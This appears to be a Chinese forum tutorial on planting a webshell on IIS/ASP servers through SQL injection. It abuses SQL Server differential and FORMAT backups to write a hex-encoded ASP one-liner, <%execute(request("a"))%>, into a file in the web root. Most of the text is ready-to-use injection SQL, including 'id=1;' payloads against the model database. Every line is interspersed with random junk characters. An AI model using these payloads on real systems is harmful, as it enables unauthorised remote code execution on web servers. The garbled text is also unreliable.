减少备份文件大小,得到可执行的webshell成功率提高不少
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一利用差异备份
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6 k6 x% d8 B: H- w; i( Rdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s' @4 a* Q+ C3 S7 d7 A
create table [dbo].[xiaolu] ([cmd] [image]);! a1 z, m- y6 Z- `+ S9 y
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E), a3 {8 H* F7 k+ }" Q7 A
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL4 T# W( i5 S3 v' G+ _- g
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二利用完全FORMAT
6 L3 w |$ G7 p( D& C加一个参数WITH FROMAT
' j, p; w8 q6 N/ A: |有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以3 I y8 T& b, N+ `& m H
( H/ `' l+ v2 o j$ sdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
& ]) ^1 C+ n0 K; w! Ucreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)& t1 m5 b0 w( `. r2 }
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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5 G) i# p; f; ~. l/ B6 \总的来说就是那么简单几句,下面以备份数据库model为例子. W+ D- Q7 f" S7 z# s/ h
) G5 j; C, {, Q5 O& b Gid=1;use model create table cmd(str image);insert into cmd(str) values (”)! C( W; V& s2 Z0 D* s3 O& s a: ~
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id=1;backup database model to disk=’你的路径‘ with differential,format;–
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